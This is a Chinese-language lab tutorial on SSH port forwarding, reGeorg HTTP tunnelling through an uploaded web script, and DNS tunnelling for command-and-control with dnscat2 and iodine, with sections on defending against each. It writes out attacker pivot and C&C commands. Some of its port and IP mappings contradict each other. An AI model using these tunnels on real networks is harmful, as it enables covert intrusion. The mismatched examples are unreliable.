应用层隧道传输技术
应用层的隧道通信技术主要利用应用软件提供的端口来发送数据。常用的隧道协议有SSH、HTTP/HTTPS和DNS。
1 SSH 协议
在内网中,几乎所有的Linux/UNIX服务器和网络设备都支持SSH协议。在一般情况下,SSH协议是被允许通过防火墙和边界设备的,所以经常被攻击者利用。同时,SSH协议的传输过程是加密的,所以我们很难区分合法的SSH会话和攻击者利用其他网络建立的隧道。攻击者使用SSH端口隧道突破防火墙的限制后,能够建立一些之前无法建立的TCP连接。
一个普通的SSH命令如下。
1 | ssh root@192.168.1.1 |
创建SSH隧道的常用参数说明如下:
1 | -C:压缩传输,提高传输速度 |
1.1 本地转发
- kali攻击机:192.168.220.165
- web服务器(ubuntu):192.168.220.145、10.0.52.132
- 内网主机(win2003):10.0.52.133
以Web服务器192.168.220.145为跳板,将内网主机192.168.52.133 的3389端口映射到kali攻击机192.168.220.165的4444端口,再访问kali攻击机的4444端口,就可以访问192.168.52.133的3389端口了。
kali攻击机上执行如下命令,会要求输人Web服务器( 跳板机)的密码。
1 | ssh -CfNg -L 4444(VPS端口):10.0.52.133(目标主机):80(目标端口) root@192.168.220.145(跳板机) |
在本地访问kali的3307端口,可以发现,已经与内网主机 的3389端口建立了连接
1 | rdesktop 127.0.0.1:3307 |
本地转发是将远程主机(服务器)某个端口的数据转发到本地机器的指定端口。远程端口转发则是在远程主机上监听一个端口,所有访问远程服务器指定端口的数据都会通过SSH隧道传输到本地的对应端口。
1.2 远程转发
- kali攻击机:192.168.220.165
- web服务器(ubuntu):192.168.220.145、10.0.52.132
- 内网主机(win2003):10.0.52.133
以Web服务器为跳板,将kali攻击机的3307端口的流量转发到内网主机的3389端口,然后访问kali攻击机的3307端口,就可以访问内网主机的3389端口了。
在Web服务器192.168.220.145上执行如下命令。
1 | ssh -CfNg -R 3307(kali攻击机端口):10.0.52.133(目标主机):3389(目标端口) root@192.168.220.165(kali攻击机ip) |
在本地访问kali的3307端口,可以发现,已经与内网主机 的3389端口建立了连接
1 | rdesktop 127.0.0.1:3307 |
本地转发是将远程主机(服务器)某个端口的数据转发到本地机器的指定端口。远程端口转发则是在远程主机上监听一个端口,所有访问远程服务器指定端口的数据都会通过SSH隧道传输到本地的对应端口。
1.3 动态转发
- kali攻击机:192.168.220.165
- web服务器(ubuntu):192.168.220.140、10.0.52.137
- 内网主机(win2003):10.0.52.133
在kali攻击机上执行如下命令,建立一个动态的SOCKS 4/5代理通道,输入Web服务器的密码。
1 | ssh -CfNg -D 7000 root@192.168.220.140 |
接下来,在本地打开浏览器,设置网络代理。通过浏览器访问内网域控制器10.0.52.133
输人如下命令,查看本地7000端口是否已经连接。
1 | netstat -tulnp 1 grep ": 7000" |
动态端口映射就是建立一个SSH加密的SOCKS 4/5代理通道。任何支持SOCKS 4/5协议的程序都可以使用这个加密通道进行代理访问。
1.4 防御SSH隧道攻击的思路
SSH隧道之所以能被攻击者利用,主要是因为系统访问控制措施不够。在系统中配置SSH远程管理白名单,在ACL中限制只有特定的IP地址才能连接SSH,以及设置系统完全使用带外管理等方法,都可以避免这一问题。
如果没有足够的资源来建立带外管理的网络结构,在内网中至少要限制SSH远程登录的地址和双向访问控制策略(从外部到内部;从内部到外部)。
2 HTTP/HTTPS协议
HTTP Service代理用于将所有的流量转发到内网。常见的代理工具有reGeorg、meterpreter 、tunna
等。
reGeorg是reDuh的升级版,主要功能是把内网服务器端口的数据通过HTTP/HTTPS隧道转发到本机,实现基于HTTP协议的通信。reGeorg脚本的特征非常明显,很多杀毒软件都会对其进行查杀。
reGeorg 支持ASPX、PHP、JSP 等Web脚本,并特别提供了一个Tomeat5版本。
将脚本文件上传到目标服务器中,使用Kali Linux在本地访问远程服务器上的tunnel.jsp 文件。返回后,利用reGeorgSocksProxy.py脚本监听本地的9999端口,即可建立一个通信链路。
输人如下命令,查看本地端口,可以发现9999端口已经开启了。
1 | python reGeorgSocksProxy.py -u http://192.168.220.140:8080/tunnel.jsp -p 9999 |
隧道正常工作之后,可以在本地Kali Linux机器上使用ProxyChains之类的工具,访问目标内网中的资源。
隧道正常工作之后,可以在本地Kali Linux机器上使用ProxyChains之类的工具,访问目标内网中的资源。
传统的Web服务器通常不会将本地的3389端口开放到公网,攻击者的暴力破解行为也很容易被传统的安全设备捕获。但是,如果使用HTTP隧道进行端口转发,不仅攻击者可以直接访问Web服务器的3389端口,而且暴力破解所产生的流量的特征也不明显。因此,在日常网络维护中,需要监控HTTP隧道的情况,及时发现问题。
3 DNS协议
DNS协议是一种请求/应答协议,也是一种可用于应用层的隧道技术。虽然激增的DNS流量可能会被发现,但基于传统Socket隧道已经濒临淘汰及TCP、UDP通信大量被防御系统拦截的状况,DNS、ICMP、HTTP/HTTPS 等难以被禁用的协议已成为攻击者控制隧道的主流渠道。
一方面,在网络世界中,DNS是一个必不可少的服务;另一方面,DNS报文本身具有穿透防火墙的能力。由于防火墙和入侵检测设备大都不会过滤DNS流量,也为DNS成为隐蔽信道创造了条件。越来越多的研究证明,DNS隧道在僵尸网络和APT攻击中扮演着重要的角色。
用于管理僵尸网络和进行APT攻击的服务器叫作C&C服务器( Command and Control Server,命令及控制服务器)。C&C节点分为两种,分别是C&C服务端(攻击者)和C&C客户端(被控制的计算机)。C&C通信是指植人C&C客户端的木马或者后门程序与C&C服务端上的远程控制程序之间的通信。
正常网络之间的通信,都是在两台机器之间建立TCP连接后进行的。在进行数据通信时:如果目标是IP地址,可以直接发送报文;如果目标是域名,会先将域名解析成IP地址,再进行通信。两台机器建立连接后, C&C服务端就可以将指令传递给C&C客户端上的木马(后门)程序,让其受到控制。
内网中安装了各种软/硬件防护设施来检查主机与外部网络的连接情况。很多厂商会收集C&C服务端的域名、IP地址、URL等数据,帮助防火墙进行阻断操作。这样一来,C&C通信就会被切断。于是,通过各种隧道技术实现C&C通信的技术(特别是DNS隧道技术)出现了。
DNS隧道的工作原理很简单:在进行DNS查询时,如果查询的域名不在DNS服务器本机的缓存中,就会访问互联网进行查询,然后返回结果。如果在互联网上有一台定制的服务器,那么依靠DNS协议即可进行数据包的交换。从DNS协议的角度看,这样的操作只是在一次次地查询某个特定的域名并得到解析结果,但其本质问题是,预期的返回结果应该是一个IP地址,而事实上不是——返回的可以是任意字符串,包括加密的C&C指令。
在使用DNS隧道与外部进行通信时,从表面上看是没有接连外网的(内网网关没有转发IP数据包),但实际上,内网的DNS服务器进行了中转操作。这就是DNS隧道的工作原理,简单地说,就是将其他协议封装在DNS协议中进行传输。
3.1 查看DNS的连通性
首先,需要知道当前服务器是否允许通过内部DNS解析外部域名,也就是要测试DNS的连通性。
输人如下命令,查询当前内部域名及IP地址。
1 | cat /etc/resolv.conf|grep -v '#' |
输人如下命令,查看能否与内部DNS通信。可以看到,能够解析内部域名
输人如下命令,查看能否与内部DNS通信。可以看到,能够解析内部域名
1 | nslookup ad.com |
输人如下命令,查询能否通过内部DNS服务器解析外部域名。可以看到,能够通过内部DNS服务器解析外部域名,这意味着可以使用DNS隧道实现隐蔽通信。
1 | nslookup baidu.com |
3.2 dnscat2
dnscat2是一款开源软件。它使用DNS协议创建加密的C&C通道,通过预共享密钥进行身份验证;使用Shell及DNS查询类型( TXT、MX、CNAME、A. AAAA),多个同时进行的会话类似于SSH中的隧道,dnscat2 是一个命令与控制工具。
使用dnscat2隧道的模式有两种,分别是直连模式和中继模式。
- 直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求。
- 中继模式:DNS经过互联网的迭代解析,指向指定的DNS服务器。与直连模式相比,中继模式的速度较慢。
如果目标内网放行所有的DNS请求,dnscat2 会使用直连模式,通过UDP的53端口进行通信(不需要域名,速度快,而且看上去仍然像普通的DNS查询)。在请求日志中,所有的域名都是以“dnscat”开头的,因此防火墙可以很容易地将直连模式的通信检测出来。
如果目标内网中的请求仅限于白名单服务器或者特定的域, dnscat2会使用中继模式来申请一个域名,并将运行dnscat2服务端的服务器指定为受信任的DNS服务器。
dnscat2通过DNS进行控制并执行命令。与同类工具相比,dnscat2 具有如下特点。
- 支持多个会话。
- 流量加密。
- 使用密钥防止MiTM攻击。
- 在内存中直接执行PowerShell脚本。
- 隐蔽通信。
3.2.1 服务端
安装
1 | git clone https://github.com/iagox86/dnscat2.git |
使用
1 | #启动 |
3.2.2 客户端
安装
1 | $ git clone https://github.com/iagox86/dnscat2.git |
使用
1 | dnscat --secret=123456 abc.com |
具体的使用方法大家自己去看官方手册
3.3 iodine
碘的原子序数为53,而这恰好是DNS的端口号,故该工具被命名为“iodine”
iodine可以通过一台DNS服务器制造一个IPv4数据通道,特别适合在目标主机只能发送DNS请求的网络环境中使用。iodine 是基于C语言开发的,分为服务端程序iodined 和客户端程序iodine。Kali Linux内置了iodine 。
与同类工具相比,iodine 具有如下特点:
- 不会对下行数据进行编码。
- 支持多平台,包括Linux、 BSD、Mac OS、Windows。
- 支持16个并发连接。
- 支持强制密码机制。
- 支持同网段隧道IP地址(不同于服务器一客户端网段)。
- 支持多种DNS记录类型。
- 提供了丰富的隧道质量检测措施。
iodine支持直接转发和中继两种模式,其原理是:通过TAP虚拟网卡,在服务端建立一个局域网;在客户端,通过TAP建立一个虚拟网卡;两者通过DNS隧道连接,处于同一个局域网(可以通过ping命令通信)。在客户端和服务端之间建立连接后,客户机上会多出一块名为“dns0”的虚拟网卡。
具体的使用方法大家自己去看官方手册
3.4 防御DNS隧道攻击的方法
防御隧道攻击并非易事,特别是防御DNS隧道攻击。通过如下操作,能够防御常见的隧道攻击行为。
- 禁止网络中的任何人向外部服务器发送DNS请求,只允许与受信任的DNS服务器通信。
- 虽然没有人会将TXT解析请求发送给DNS服务器,但是dnscat2和邮件服务器/网关会这样做。因此,可以将邮件服务
- 器/网关列人白名单并阻止传人和传出流量中的TXT请求。
- 跟踪用户的DNS查询次数。如果达到阈值,就生成相应的报告。
- 阻止ICMP。